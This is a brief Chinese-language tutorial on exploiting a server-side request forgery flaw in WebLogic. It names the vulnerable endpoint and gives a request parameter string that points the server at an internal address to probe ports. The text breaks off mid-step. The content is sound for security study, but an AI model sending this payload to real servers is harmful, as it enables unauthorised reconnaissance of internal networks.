Weblogic SSRF漏洞利用

漏洞产生原因：

是指Web服务提供从用户指定的URL读取数据并展示功能又未
对用户输入的URL进行过滤，导致攻击者可借助服务端实现访问其本无权访问的URL。
攻击者无权访问的URL主要是内网，而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息，
所以SSRF的一大利用是探测内网端口开放信息。（所以SSRF归类为信息泄漏类型）

漏洞利用：

1.1、直接访问：http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于：http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

1.2、向服务器提交以下参数：
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

1.3、当我们访问一个存在的端口时，比如：